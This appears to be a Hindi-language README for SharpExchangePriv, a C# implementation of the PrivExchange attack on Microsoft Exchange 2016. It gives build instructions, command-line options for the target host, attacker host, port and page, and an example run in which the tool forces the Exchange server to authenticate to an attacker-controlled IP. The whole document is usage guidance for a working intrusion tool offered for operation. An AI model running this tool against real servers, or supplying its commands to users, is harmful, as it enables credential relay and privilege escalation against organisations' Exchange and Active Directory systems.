
PrivExchange का एक C# कार्यान्वयन @_dirkjan द्वारा।
PrivExchange का C# कार्यान्वयन @_dirkjan द्वारा। @g0ldenGunSec को धन्यवाद, क्योंकि मैंने उनके कोड पर भरोसा किया।
इसका परीक्षण Exchange 2016 पर किया गया।
SharpExchangePriv को .NET 3.5 के लिए बनाया गया है और यह Visual Studio 2017 के साथ संगत है। बस समाधान फ़ाइल खोलें और प्रोजेक्ट बनाएँ।
मैंने तर्कों को पार्स करने के लिए CommandLineParser का उपयोग किया। यह निष्पादन योग्य के साथ CommandLine.dll फ़ाइल बनाएगा। आप .exe और .dll को एक निष्पादन योग्य फ़ाइल में मर्ज कर सकते हैं:
ILMerge.exe /out:C:\SharpExchangePriv.exe C:\Release\SharpExchangePriv.exe C:\Release\CommandLine.dll
--targetHostलक्ष्य होस्ट का IP सेट करें।
--attackerHostहमलावर का IP सेट करें
--attackerPortहमलावर का पोर्ट सेट करें
--attackerPageहमलावर का पेज सेट करें
--sslSSL सक्षम करें
--exchangeVersionExchange संस्करण सेट करें, डिफ़ॉल्ट 2016 है
--exchangePortExchange लक्ष्य पोर्ट सेट करें
C:\Users\george.brown\Desktop>SharpExchangePriv.exe --attackerHost 192.168.11.132 --targetHost 192.168.11.10
/$$$$$$$ /$$ /$$$$$$$$ /$$
| $$__ $$ |__/ | $$_____/ | $$
| $$ \ $$ /$$$$$$ /$$ /$$ /$$| $$ /$$ /$$ /$$$$$$$| $$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$
| $$$$$$$//$$__ $$| $$| $$ /$$/| $$$$$ | $$ /$$/ /$$_____/| $$__ $$ |____ $$| $$__ $$ /$$__ $$ /$$__ $$
| $$____ /| $$ \__ /| $$ \ $$/$$/ | $$__ / \ $$$$/ | $$ | $$ \ $$ /$$$$$$$| $$ \ $$| $$ \ $$| $$$$$$$$
| $$ | $$ | $$ \ $$$/ | $$ >$$ $$ | $$ | $$ | $$ /$$__ $$| $$ | $$| $$ | $$| $$_____ /
| $$ | $$ | $$ \ $/ | $$$$$$$$ /$$/\ $$| $$$$$$$| $$ | $$| $$$$$$$| $$ | $$| $$$$$$$| $$$$$$$
|__/ |__/ |__/ \_/ |________/|__/ \__/ \_______/|__/ |__/ \_______/|__/ |__/ \____ $$ \_______/
/$$ \ $$
| $$$$$$/
\______ /
@den_n1s
The target URL is https://192.168.11.10:443/EWS/Exchange.asmx
Sent request to exchange server: https://192.168.11.10:443/EWS/Exchange.asmx
HTTP 200 response received, the target Exchange server should be authenticating shortly.
कृपया किसी भी बग को Github प्रोजेक्ट पेज पर सबमिट करें या मुझे ट्विटर पर @den_n1s पर संपर्क करें।